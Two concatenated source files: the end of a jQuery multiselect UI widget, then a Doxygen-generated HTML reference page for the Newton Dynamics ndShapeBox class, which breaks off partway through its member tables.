if(animate) { this.panel.fadeOut('fast', function() { $this.postHide(); }); } else { this.panel.hide(); this.postHide(); } }, postShow: function() { this.panel.trigger('onShow.puimultiselect'); }, postHide: function() { this.panel.trigger('onHide.puimultiselect'); }, findSelectionIndex: function(val){ var index = -1; if(this.choices) { for(var i = 0; i < this.choices.length; i++) { if(this.choices.eq(i).val() == val) { index = i; break; } } } return index; }, updateLabel: function() { var selectedItems = this.choices.filter(':selected'), label = null; if(selectedItems.length) { label = ''; for(var i = 0; i < selectedItems.length; i++) { if(i != 0) { label = label + ','; } label = label + selectedItems.eq(i).text(); } } else { label = this.options.defaultLabel; } this.label.text(label); }, updateToggler: function() { var visibleItems = this.itemContainer.children('li.ui-multiselect-item:visible'); if(visibleItems.length && visibleItems.filter('.ui-state-highlight').length === visibleItems.length) { this.toggler.find(':checkbox').prop('checked', true); this.togglerBox.addClass('ui-state-active').children('.ui-chkbox-icon').addClass('fa-check'); } else { this.toggler.find(':checkbox').prop('checked', false); this.togglerBox.removeClass('ui-state-active').children('.ui-chkbox-icon').removeClass('fa-check'); } }, checkAll: function() { var visibleItems = this.items.filter(':visible'), $this = this; visibleItems.each(function() { $this.selectItem($(this)); }); this.toggler.find(':checkbox').prop('checked', true); this.togglerBox.addClass('ui-state-active').children('.ui-chkbox-icon').addClass('fa-check'); }, uncheckAll: function() { var visibleItems = this.items.filter(':visible'), $this = this; visibleItems.each(function() { $this.unselectItem($(this)); }); this.toggler.find(':checkbox').prop('checked', false); this.togglerBox.removeClass('ui-state-active').children('.ui-chkbox-icon').removeClass('fa-check'); }, alignPanel: function() { this.panel.css({ 'left':'', 'top':'', 'z-index': ++PUI.zindex }); this.panel.show().position({ my: 'left top' ,at: 'left bottom' ,of: this.container }); } }); }));
{ "pile_set_name": "Github" }
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "https://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/> <meta http-equiv="X-UA-Compatible" content="IE=9"/> <meta name="generator" content="Doxygen 1.8.20"/> <meta name="viewport" content="width=device-width, initial-scale=1"/> <title>Newton Dynamics: ndShapeBox Class Reference</title> <link href="tabs.css" rel="stylesheet" type="text/css"/> <script type="text/javascript" src="jquery.js"></script> <script type="text/javascript" src="dynsections.js"></script> <link href="navtree.css" rel="stylesheet" type="text/css"/> <script type="text/javascript" src="resize.js"></script> <script type="text/javascript" src="navtreedata.js"></script> <script type="text/javascript" src="navtree.js"></script> <link href="search/search.css" rel="stylesheet" type="text/css"/> <script type="text/javascript" src="search/searchdata.js"></script> <script type="text/javascript" src="search/search.js"></script> <script type="text/javascript"> /* @license magnet:?xt=urn:btih:cf05388f2679ee054f2beb29a391d25f4e673ac3&amp;dn=gpl-2.0.txt GPL-v2 */ $(document).ready(function() { init_search(); }); /* @license-end */ </script> <link href="doxygen.css" rel="stylesheet" type="text/css" /> </head> <body> <div id="top"><!-- do not remove this div, it is closed by doxygen! --> <div id="titlearea"> <table cellspacing="0" cellpadding="0"> <tbody> <tr style="height: 56px;"> <td id="projectlogo"><img alt="Logo" src="logo_php.png"/></td> <td id="projectalign" style="padding-left: 0.5em;"> <div id="projectname">Newton Dynamics &#160;<span id="projectnumber">4.00</span> </div> </td> <td> <div id="MSearchBox" class="MSearchBoxInactive"> <span class="left"> <img id="MSearchSelect" src="search/mag_sel.svg" onmouseover="return searchBox.OnSearchSelectShow()" onmouseout="return searchBox.OnSearchSelectHide()" alt=""/> <input type="text" id="MSearchField" value="Search" accesskey="S" onfocus="searchBox.OnSearchFieldFocus(true)" onblur="searchBox.OnSearchFieldFocus(false)" onkeyup="searchBox.OnSearchFieldChange(event)"/> </span><span class="right"> <a id="MSearchClose" href="javascript:searchBox.CloseResultsWindow()"><img id="MSearchCloseImg" border="0" src="search/close.svg" alt=""/></a> </span> </div> </td> </tr> </tbody> </table> </div> <!-- end header part --> <!-- Generated by Doxygen 1.8.20 --> <script type="text/javascript"> /* @license magnet:?xt=urn:btih:cf05388f2679ee054f2beb29a391d25f4e673ac3&amp;dn=gpl-2.0.txt GPL-v2 */ var searchBox = new SearchBox("searchBox", "search",false,'Search'); /* @license-end */ </script> </div><!-- top --> <div id="side-nav" class="ui-resizable side-nav-resizable"> <div id="nav-tree"> <div id="nav-tree-contents"> <div id="nav-sync" class="sync"></div> </div> </div> <div id="splitbar" style="-moz-user-select:none;" class="ui-resizable-handle"> </div> </div> <script type="text/javascript"> /* @license magnet:?xt=urn:btih:cf05388f2679ee054f2beb29a391d25f4e673ac3&amp;dn=gpl-2.0.txt GPL-v2 */ $(document).ready(function(){initNavTree('classnd_shape_box.html',''); initResizable(); }); /* @license-end */ </script> <div id="doc-content"> <!-- window showing the filter options --> <div id="MSearchSelectWindow" onmouseover="return searchBox.OnSearchSelectShow()" onmouseout="return searchBox.OnSearchSelectHide()" onkeydown="return searchBox.OnSearchSelectKey(event)"> </div> <!-- iframe showing the search results (closed by default) --> <div id="MSearchResultsWindow"> <iframe src="javascript:void(0)" frameborder="0" name="MSearchResults" id="MSearchResults"> </iframe> </div> <div class="header"> <div class="summary"> <a href="#pub-methods">Public Member Functions</a> &#124; <a href="#pro-methods">Protected Member Functions</a> &#124; <a href="#pro-attribs">Protected Attributes</a> &#124; <a href="#pro-static-attribs">Static Protected Attributes</a> &#124; <a href="classnd_shape_box-members.html">List of all members</a> </div> <div class="headertitle"> <div class="title">ndShapeBox Class Reference</div> </div> </div><!--header--> <div class="contents"> <div class="dynheader"> Inheritance diagram for ndShapeBox:</div> <div class="dyncontent"> <div class="center"> <img src="classnd_shape_box.png" usemap="#ndShapeBox_map" alt=""/> <map id="ndShapeBox_map" name="ndShapeBox_map"> <area href="classnd_shape_convex.html" alt="ndShapeConvex" shape="rect" coords="0,112,105,136"/> <area href="classnd_shape.html" alt="ndShape" shape="rect" coords="0,56,105,80"/> <area href="classd_class_alloc.html" title="Base class for providing memory allocation for all other engine classes." alt="dClassAlloc" shape="rect" coords="0,0,105,24"/> </map> </div></div> <table class="memberdecls"> <tr class="heading"><td colspan="2"><h2 class="groupheader"><a name="pub-methods"></a> Public Member Functions</h2></td></tr> <tr class="memitem:ab7777d2af82a062246cad1c30a7e1ba2"><td class="memItemLeft" align="right" valign="top"><a id="ab7777d2af82a062246cad1c30a7e1ba2"></a> D_COLLISION_API&#160;</td><td class="memItemRight" valign="bottom"><b>ndShapeBox</b> (dFloat32 size_x, dFloat32 size_y, dFloat32 size_z)</td></tr> <tr class="separator:ab7777d2af82a062246cad1c30a7e1ba2"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a7ad5ed99efc67a6f7d811f488faf0df2"><td class="memItemLeft" align="right" valign="top"><a id="a7ad5ed99efc67a6f7d811f488faf0df2"></a> virtual <a class="el" href="classnd_shape_box.html">ndShapeBox</a> *&#160;</td><td class="memItemRight" valign="bottom"><b>GetAsShapeBox</b> ()</td></tr> <tr class="separator:a7ad5ed99efc67a6f7d811f488faf0df2"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="inherit_header pub_methods_classnd_shape"><td colspan="2" onclick="javascript:toggleInherit('pub_methods_classnd_shape')"><img src="closed.png" alt="-"/>&#160;Public Member Functions inherited from <a class="el" href="classnd_shape.html">ndShape</a></td></tr> <tr class="memitem:ad25e5e5aa2b20218aa4964f2346e2bba inherit pub_methods_classnd_shape"><td class="memItemLeft" align="right" valign="top"><a id="ad25e5e5aa2b20218aa4964f2346e2bba"></a> const <a class="el" href="classnd_shape.html">ndShape</a> *&#160;</td><td class="memItemRight" valign="bottom"><b>AddRef</b> () const</td></tr> <tr class="separator:ad25e5e5aa2b20218aa4964f2346e2bba inherit pub_methods_classnd_shape"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a7399380466fa44a4cc1b8b2cab2d04d8 inherit pub_methods_classnd_shape"><td class="memItemLeft" align="right" valign="top"><a id="a7399380466fa44a4cc1b8b2cab2d04d8"></a> dInt32&#160;</td><td class="memItemRight" valign="bottom"><b>GetRefCount</b> () const</td></tr> <tr class="separator:a7399380466fa44a4cc1b8b2cab2d04d8 inherit pub_methods_classnd_shape"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a6fa8ce03eb930fd844ebb58f2a792362 inherit pub_methods_classnd_shape"><td class="memItemLeft" align="right" valign="top"><a id="a6fa8ce03eb930fd844ebb58f2a792362"></a> virtual dInt32&#160;</td><td class="memItemRight" valign="bottom"><b>Release</b> () const</td></tr> <tr class="separator:a6fa8ce03eb930fd844ebb58f2a792362 inherit pub_methods_classnd_shape"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a5413342ef2ebc69cc02938ecad3a3310 inherit pub_methods_classnd_shape"><td class="memItemLeft" align="right" valign="top"><a id="a5413342ef2ebc69cc02938ecad3a3310"></a> virtual <a class="el" href="classnd_shape.html">ndShape</a> *&#160;</td><td class="memItemRight" valign="bottom"><b>GetAsShape</b> ()</td></tr> <tr class="separator:a5413342ef2ebc69cc02938ecad3a3310 inherit pub_methods_classnd_shape"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a80d45a6927aef2135aab4e86d9a5cee0 inherit pub_methods_classnd_shape"><td class="memItemLeft" align="right" valign="top"><a id="a80d45a6927aef2135aab4e86d9a5cee0"></a> virtual <a class="el" href="classnd_shape_sphere.html">ndShapeSphere</a> *&#160;</td><td class="memItemRight" valign="bottom"><b>GetAsShapeSphere</b> ()</td></tr> <tr class="separator:a80d45a6927aef2135aab4e86d9a5cee0 inherit pub_methods_classnd_shape"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:af79e33b2a8002f4c1b75ccf874739a4b inherit pub_methods_classnd_shape"><td class="memItemLeft" align="right" valign="top"><a id="af79e33b2a8002f4c1b75ccf874739a4b"></a> virtual <a class="el" href="classnd_shape_null.html">ndShapeNull</a> *&#160;</td><td class="memItemRight" valign="bottom"><b>GetAsShapeNull</b> ()</td></tr> <tr class="separator:af79e33b2a8002f4c1b75ccf874739a4b inherit pub_methods_classnd_shape"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="inherit_header pub_methods_classd_class_alloc"><td colspan="2" onclick="javascript:toggleInherit('pub_methods_classd_class_alloc')"><img src="closed.png" alt="-"/>&#160;Public Member Functions inherited from <a class="el" href="classd_class_alloc.html">dClassAlloc</a></td></tr> <tr class="memitem:aae7ca43a2cf439a198501ea15bc7e47a inherit pub_methods_classd_class_alloc"><td class="memItemLeft" align="right" valign="top"><a id="aae7ca43a2cf439a198501ea15bc7e47a"></a> &#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classd_class_alloc.html#aae7ca43a2cf439a198501ea15bc7e47a">dClassAlloc</a> ()</td></tr> <tr class="memdesc:aae7ca43a2cf439a198501ea15bc7e47a inherit pub_methods_classd_class_alloc"><td class="mdescLeft">&#160;</td><td class="mdescRight">Empty. <br /></td></tr> <tr class="separator:aae7ca43a2cf439a198501ea15bc7e47a inherit pub_methods_classd_class_alloc"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:ab5b8cb26b160797d123fa1329cf87655 inherit pub_methods_classd_class_alloc"><td class="memItemLeft" align="right" valign="top"><a id="ab5b8cb26b160797d123fa1329cf87655"></a> &#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classd_class_alloc.html#ab5b8cb26b160797d123fa1329cf87655">~dClassAlloc</a> ()</td></tr> <tr class="memdesc:ab5b8cb26b160797d123fa1329cf87655 inherit pub_methods_classd_class_alloc"><td class="mdescLeft">&#160;</td><td class="mdescRight">Empty. <br /></td></tr> <tr class="separator:ab5b8cb26b160797d123fa1329cf87655 inherit pub_methods_classd_class_alloc"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a177d4db8727ec4c7cd9767295186f69d inherit pub_methods_classd_class_alloc"><td class="memItemLeft" align="right" valign="top"><a id="a177d4db8727ec4c7cd9767295186f69d"></a> void *&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classd_class_alloc.html#a177d4db8727ec4c7cd9767295186f69d">operator new</a> (size_t size)</td></tr> <tr class="memdesc:a177d4db8727ec4c7cd9767295186f69d inherit pub_methods_classd_class_alloc"><td class="mdescLeft">&#160;</td><td class="mdescRight">Overloaded operator new for any subclass derived from <a class="el" href="classd_class_alloc.html" title="Base class for providing memory allocation for all other engine classes.">dClassAlloc</a>. <br /></td></tr> <tr class="separator:a177d4db8727ec4c7cd9767295186f69d inherit pub_methods_classd_class_alloc"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a567b53e08b1053c79287c3ab51a0c62a inherit pub_methods_classd_class_alloc"><td class="memItemLeft" align="right" valign="top"><a id="a567b53e08b1053c79287c3ab51a0c62a"></a> void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classd_class_alloc.html#a567b53e08b1053c79287c3ab51a0c62a">operator delete</a> (void *ptr)</td></tr> <tr class="memdesc:a567b53e08b1053c79287c3ab51a0c62a inherit pub_methods_classd_class_alloc"><td class="mdescLeft">&#160;</td><td class="mdescRight">Overloaded operator delete for any subclass derived from <a class="el" href="classd_class_alloc.html" title="Base class for providing memory allocation for all other engine classes.">dClassAlloc</a>. <br /></td></tr> <tr class="separator:a567b53e08b1053c79287c3ab51a0c62a inherit pub_methods_classd_class_alloc"><td class="memSeparator" colspan="2">&#160;</td></tr> </table><table class="memberdecls"> <tr class="heading"><td colspan="2"><h2 class="groupheader"><a name="pro-methods"></a> Protected Member Functions</h2></td></tr> <tr class="memitem:ae8c21970d726523ffb62f0aa852fea2b"><td class="memItemLeft" align="right" valign="top"><a id="ae8c21970d726523ffb62f0aa852fea2b"></a> D_COLLISION_API void&#160;</td><td class="memItemRight" valign="bottom"><b>Init</b> (dFloat32 size_x, dFloat32 size_y, dFloat32 size_z)</td></tr> <tr class="separator:ae8c21970d726523ffb62f0aa852fea2b"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:abc20b5554999589e5391303721c19821"><td class="memItemLeft" align="right" valign="top"><a id="abc20b5554999589e5391303721c19821"></a> virtual D_COLLISION_API void&#160;</td><td class="memItemRight" valign="bottom"><b>MassProperties</b> ()</td></tr> <tr class="separator:abc20b5554999589e5391303721c19821"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a78e20def967e84643c582d0525609c76"><td class="memItemLeft" align="right" valign="top"><a id="a78e20def967e84643c582d0525609c76"></a> virtual D_COLLISION_API void&#160;</td><td class="memItemRight" valign="bottom"><b>CalcAABB</b> (const <a class="el" href="classd_matrix.html">dMatrix</a> &amp;matrix, <a class="el" href="classd_vector.html">dVector</a> &amp;p0, <a class="el" href="classd_vector.html">dVector</a> &amp;p1) const</td></tr> <tr class="separator:a78e20def967e84643c582d0525609c76"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a1c9fed8f0e8c467121a76e3a6931062e"><td class="memItemLeft" align="right" valign="top"><a id="a1c9fed8f0e8c467121a76e3a6931062e"></a> virtual D_COLLISION_API <a class="el" href="classd_vector.html">dVector</a>&#160;</td><td class="memItemRight" valign="bottom"><b>SupportVertexSpecialProjectPoint</b> (const <a class="el" href="classd_vector.html">dVector</a> &amp;point, const <a class="el" href="classd_vector.html">dVector</a> &amp;dir) const</td></tr> <tr class="separator:a1c9fed8f0e8c467121a76e3a6931062e"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:acdc91612acc5e80df7eb06fd544b3ae3"><td class="memItemLeft" align="right" valign="top"><a id="acdc91612acc5e80df7eb06fd544b3ae3"></a> virtual D_COLLISION_API <a class="el" href="classd_vector.html">dVector</a>&#160;</td><td class="memItemRight" valign="bottom"><b>SupportVertex</b> (const <a class="el" href="classd_vector.html">dVector</a> &amp;dir, dInt32 *const vertexIndex) const</td></tr> <tr class="separator:acdc91612acc5e80df7eb06fd544b3ae3"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a9e52754dce5a598278d3b89cd73661e1"><td class="memItemLeft" align="right" valign="top"><a id="a9e52754dce5a598278d3b89cd73661e1"></a> virtual D_COLLISION_API <a class="el" href="classd_vector.html">dVector</a>&#160;</td><td class="memItemRight" valign="bottom"><b>SupportVertexSpecial</b> (const <a class="el" href="classd_vector.html">dVector</a> &amp;dir, dFloat32 skinThickness, dInt32 *const vertexIndex) const</td></tr> <tr class="separator:a9e52754dce5a598278d3b89cd73661e1"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:affbc8cd428fc0926ac3b3c2637fd0e12"><td class="memItemLeft" align="right" valign="top"><a id="affbc8cd428fc0926ac3b3c2637fd0e12"></a> virtual D_COLLISION_API dFloat32&#160;</td><td class="memItemRight" valign="bottom"><b>RayCast</b> (<a class="el" href="classnd_ray_cast_notify.html">ndRayCastNotify</a> &amp;callback, const <a class="el" href="classd_vector.html">dVector</a> &amp;localP0, const <a class="el" href="classd_vector.html">dVector</a> &amp;localP1, dFloat32 maxT, const <a class="el" href="classnd_body.html">ndBody</a> *const body, <a class="el" href="classnd_contact_point.html">ndContactPoint</a> &amp;contactOut) const</td></tr> <tr class="separator:affbc8cd428fc0926ac3b3c2637fd0e12"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a745b12793ba572aa0f87338cdd0c58bd"><td class="memItemLeft" align="right" valign="top"><a id="a745b12793ba572aa0f87338cdd0c58bd"></a> const <a class="el" href="classnd_shape_convex_1_1nd_convex_simplex_edge.html">ndConvexSimplexEdge</a> **&#160;</td><td class="memItemRight" valign="bottom"><b>GetVertexToEdgeMapping</b> () const</td></tr> <tr class="separator:a745b12793ba572aa0f87338cdd0c58bd"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a8a31a70c12b6f8b1455f64e96dd2d883"><td class="memItemLeft" align="right" valign="top"><a id="a8a31a70c12b6f8b1455f64e96dd2d883"></a> virtual dInt32&#160;</td><td class="memItemRight" valign="bottom"><b>CalculatePlaneIntersection</b> (const <a class="el" href="classd_vector.html">dVector</a> &amp;normal, const <a class="el" href="classd_vector.html">dVector</a> &amp;point, <a class="el" href="classd_vector.html">dVector</a> *const contactsOut) const</td></tr> <tr class="separator:a8a31a70c12b6f8b1455f64e96dd2d883"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="inherit_header pro_methods_classnd_shape_convex"><td colspan="2" onclick="javascript:toggleInherit('pro_methods_classnd_shape_convex')"><img src="closed.png" alt="-"/>&#160;Protected Member Functions inherited from <a class="el" href="classnd_shape_convex.html">ndShapeConvex</a></td></tr> <tr class="memitem:a24945327f7d4f9302a943c6fd77e4e02 inherit pro_methods_classnd_shape_convex"><td class="memItemLeft" align="right" valign="top"><a id="a24945327f7d4f9302a943c6fd77e4e02"></a> D_COLLISION_API&#160;</td><td class="memItemRight" valign="bottom"><b>ndShapeConvex</b> (dShapeID id)</td></tr> <tr class="separator:a24945327f7d4f9302a943c6fd77e4e02 inherit pro_methods_classnd_shape_convex"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a1a0dd2a5f5980ac650dee44bf206d95a inherit pro_methods_classnd_shape_convex"><td class="memItemLeft" align="right" valign="top"><a id="a1a0dd2a5f5980ac650dee44bf206d95a"></a> virtual <a class="el" href="classnd_shape_convex.html">ndShapeConvex</a> *&#160;</td><td class="memItemRight" valign="bottom"><b>GetAsShapeConvex</b> ()</td></tr> <tr class="separator:a1a0dd2a5f5980ac650dee44bf206d95a inherit pro_methods_classnd_shape_convex"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:af4941a2faf4b54fe3deb2f59e1ab72c3 inherit pro_methods_classnd_shape_convex"><td class="memItemLeft" align="right" valign="top"><a id="af4941a2faf4b54fe3deb2f59e1ab72c3"></a> D_COLLISION_API void&#160;</td><td class="memItemRight" valign="bottom"><b>SetVolumeAndCG</b> ()</td></tr> <tr class="separator:af4941a2faf4b54fe3deb2f59e1ab72c3 inherit pro_methods_classnd_shape_convex"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:ae9e8e40388dce44419365774f4331103 inherit pro_methods_classnd_shape_convex"><td class="memItemLeft" align="right" valign="top"><a id="ae9e8e40388dce44419365774f4331103"></a> virtual D_COLLISION_API void&#160;</td><td class="memItemRight" valign="bottom"><b>DebugShape</b> (const <a class="el" href="classd_matrix.html">dMatrix</a> &amp;matrix, <a class="el" href="classnd_shape_debug_callback.html">ndShapeDebugCallback</a> &amp;debugCallback) const</td></tr> <tr class="separator:ae9e8e40388dce44419365774f4331103 inherit pro_methods_classnd_shape_convex"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a65bec105af8cb7ed4e4da0bd08d7b180 inherit pro_methods_classnd_shape_convex"><td class="memItemLeft" align="right" valign="top"><a id="a65bec105af8cb7ed4e4da0bd08d7b180"></a> virtual D_COLLISION_API dFloat32&#160;</td><td class="memItemRight" valign="bottom"><b>CalculateMassProperties</b> (const <a class="el" href="classd_matrix.html">dMatrix</a> &amp;offset, <a class="el" href="classd_vector.html">dVector</a> &amp;inertia, <a class="el" href="classd_vector.html">dVector</a> &amp;crossInertia, <a class="el" href="classd_vector.html">dVector</a> &amp;centerOfMass) const</td></tr> <tr class="separator:a65bec105af8cb7ed4e4da0bd08d7b180 inherit pro_methods_classnd_shape_convex"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:ada1d91780ab299330fb0980d2a1a3af3 inherit pro_methods_classnd_shape_convex"><td class="memItemLeft" align="right" valign="top"><a id="ada1d91780ab299330fb0980d2a1a3af3"></a> virtual D_COLLISION_API <a class="el" href="classd_matrix.html">dMatrix</a>&#160;</td><td class="memItemRight" valign="bottom"><b>CalculateInertiaAndCenterOfMass</b> (const <a class="el" href="classd_matrix.html">dMatrix</a> &amp;alignMatrix, const <a class="el" href="classd_vector.html">dVector</a> &amp;localScale, const <a class="el" href="classd_matrix.html">dMatrix</a> &amp;matrix) const</td></tr> <tr class="separator:ada1d91780ab299330fb0980d2a1a3af3 inherit pro_methods_classnd_shape_convex"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:ab36b90af23c875c2fe8af444e93545d7 inherit pro_methods_classnd_shape_convex"><td class="memItemLeft" align="right" valign="top"><a id="ab36b90af23c875c2fe8af444e93545d7"></a> bool&#160;</td><td class="memItemRight" valign="bottom"><b>SanityCheck</b> (dInt32 count, const <a class="el" href="classd_vector.html">dVector</a> &amp;normal, <a class="el" href="classd_vector.html">dVector</a> *const contactsOut) const</td></tr> <tr class="separator:ab36b90af23c875c2fe8af444e93545d7 inherit pro_methods_classnd_shape_convex"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a8e15752da34043e6e28fd9c667e566ad inherit pro_methods_classnd_shape_convex"><td class="memItemLeft" align="right" valign="top"><a id="a8e15752da34043e6e28fd9c667e566ad"></a> dInt32&#160;</td><td class="memItemRight" valign="bottom"><b>RectifyConvexSlice</b> (dInt32 count, const <a class="el" href="classd_vector.html">dVector</a> &amp;normal, <a class="el" href="classd_vector.html">dVector</a> *const contactsOut) const</td></tr> <tr class="separator:a8e15752da34043e6e28fd9c667e566ad inherit pro_methods_classnd_shape_convex"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a5e99fc91f76b201c13f8ba8636335287 inherit pro_methods_classnd_shape_convex"><td class="memItemLeft" align="right" valign="top"><a id="a5e99fc91f76b201c13f8ba8636335287"></a> virtual dInt32&#160;</td><td class="memItemRight" valign="bottom"><b>GetConvexVertexCount</b> () const</td></tr> <tr class="separator:a5e99fc91f76b201c13f8ba8636335287 inherit pro_methods_classnd_shape_convex"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="inherit_header pro_methods_classnd_shape"><td colspan="2" onclick="javascript:toggleInherit('pro_methods_classnd_shape')"><img src="closed.png" alt="-"/>&#160;Protected Member Functions inherited from <a class="el" href="classnd_shape.html">ndShape</a></td></tr> <tr class="memitem:a02e6165614604b027ba6de47cc6f6ea2 inherit pro_methods_classnd_shape"><td class="memItemLeft" align="right" valign="top"><a id="a02e6165614604b027ba6de47cc6f6ea2"></a> D_COLLISION_API&#160;</td><td class="memItemRight" valign="bottom"><b>ndShape</b> (dShapeID id)</td></tr> <tr class="separator:a02e6165614604b027ba6de47cc6f6ea2 inherit pro_methods_classnd_shape"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:ab91401321ddcb50f781cdb2c4dcf31f8 inherit pro_methods_classnd_shape"><td class="memItemLeft" align="right" valign="top"><a id="ab91401321ddcb50f781cdb2c4dcf31f8"></a> D_COLLISION_API&#160;</td><td class="memItemRight" valign="bottom"><b>ndShape</b> (const <a class="el" href="classnd_shape.html">ndShape</a> &amp;source)</td></tr> <tr class="separator:ab91401321ddcb50f781cdb2c4dcf31f8 inherit pro_methods_classnd_shape"><td class="memSeparator" colspan="2">&#160;</td></tr> </table><table class="memberdecls"> <tr class="heading"><td colspan="2"><h2 class="groupheader"><a name="pro-attribs"></a> Protected Attributes</h2></td></tr> <tr class="memitem:a2a69e2a462cf52a677cd30f123e0b362"><td class="memItemLeft" align="right" valign="top"><a id="a2a69e2a462cf52a677cd30f123e0b362"></a> <a class="el" href="classd_vector.html">dVector</a>&#160;</td><td class="memItemRight" valign="bottom"><b>m_size</b> [2]</td></tr> <tr class="separator:a2a69e2a462cf52a677cd30f123e0b362"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a7c2389663febdd5476938a3649fa0aee"><td class="memItemLeft" align="right" valign="top"><a id="a7c2389663febdd5476938a3649fa0aee"></a> <a class="el" href="classd_vector.html">dVector</a>&#160;</td><td class="memItemRight" valign="bottom"><b>m_vertex</b> [8]</td></tr> <tr class="separator:a7c2389663febdd5476938a3649fa0aee"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="inherit_header pro_attribs_classnd_shape_convex"><td colspan="2" onclick="javascript:toggleInherit('pro_attribs_classnd_shape_convex')"><img src="closed.png" alt="-"/>&#160;Protected Attributes inherited from <a class="el" href="classnd_shape_convex.html">ndShapeConvex</a></td></tr> <tr class="memitem:a12f2d51db8d3bf8840f340d5cd37c0e2 inherit pro_attribs_classnd_shape_convex"><td class="memItemLeft" align="right" valign="top"><a id="a12f2d51db8d3bf8840f340d5cd37c0e2"></a> <a class="el" href="classd_vector.html">dVector</a> *&#160;</td><td class="memItemRight" valign="bottom"><b>m_vertex</b></td></tr> <tr class="separator:a12f2d51db8d3bf8840f340d5cd37c0e2 inherit pro_attribs_classnd_shape_convex"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:abea76d173d3484bf47c53cd4f225b3df inherit pro_attribs_classnd_shape_convex"><td class="memItemLeft" align="right" valign="top"><a id="abea76d173d3484bf47c53cd4f225b3df"></a> <a class="el" href="classnd_shape_convex_1_1nd_convex_simplex_edge.html">ndConvexSimplexEdge</a> *&#160;</td><td class="memItemRight" valign="bottom"><b>m_simplex</b></td></tr> <tr class="separator:abea76d173d3484bf47c53cd4f225b3df inherit pro_attribs_classnd_shape_convex"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a4b3be973896efd5b1341df898239adf0 inherit pro_attribs_classnd_shape_convex"><td class="memItemLeft" align="right" valign="top"><a id="a4b3be973896efd5b1341df898239adf0"></a> dFloat32&#160;</td><td class="memItemRight" valign="bottom"><b>m_boxMinRadius</b></td></tr> <tr class="separator:a4b3be973896efd5b1341df898239adf0 inherit pro_attribs_classnd_shape_convex"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a48e902e6a4ec072a9557d0b2ef187c57 inherit pro_attribs_classnd_shape_convex"><td class="memItemLeft" align="right" valign="top"><a id="a48e902e6a4ec072a9557d0b2ef187c57"></a> dFloat32&#160;</td><td class="memItemRight" valign="bottom"><b>m_boxMaxRadius</b></td></tr> <tr class="separator:a48e902e6a4ec072a9557d0b2ef187c57 inherit pro_attribs_classnd_shape_convex"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a6e98fa672bf85861c14c93d743f49966 inherit pro_attribs_classnd_shape_convex"><td class="memItemLeft" align="right" valign="top"><a id="a6e98fa672bf85861c14c93d743f49966"></a> dFloat32&#160;</td><td class="memItemRight" valign="bottom"><b>m_simplexVolume</b></td></tr> <tr class="separator:a6e98fa672bf85861c14c93d743f49966 inherit pro_attribs_classnd_shape_convex"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:ac66731b49b0e5a2ee918ca4c29c69821 inherit pro_attribs_classnd_shape_convex"><td class="memItemLeft" align="right" valign="top"><a id="ac66731b49b0e5a2ee918ca4c29c69821"></a> dUnsigned16&#160;</td><td class="memItemRight" valign="bottom"><b>m_edgeCount</b></td></tr> <tr class="separator:ac66731b49b0e5a2ee918ca4c29c69821 inherit pro_attribs_classnd_shape_convex"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:aebe98f575c1b2a77810f2b92245cb929 inherit pro_attribs_classnd_shape_convex"><td class="memItemLeft" align="right" valign="top"><a id="aebe98f575c1b2a77810f2b92245cb929"></a> dUnsigned16&#160;</td><td class="memItemRight" valign="bottom"><b>m_vertexCount</b></td></tr> <tr class="separator:aebe98f575c1b2a77810f2b92245cb929 inherit pro_attribs_classnd_shape_convex"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="inherit_header pro_attribs_classnd_shape"><td colspan="2" onclick="javascript:toggleInherit('pro_attribs_classnd_shape')"><img src="closed.png" alt="-"/>&#160;Protected Attributes inherited from <a class="el" href="classnd_shape.html">ndShape</a></td></tr> <tr 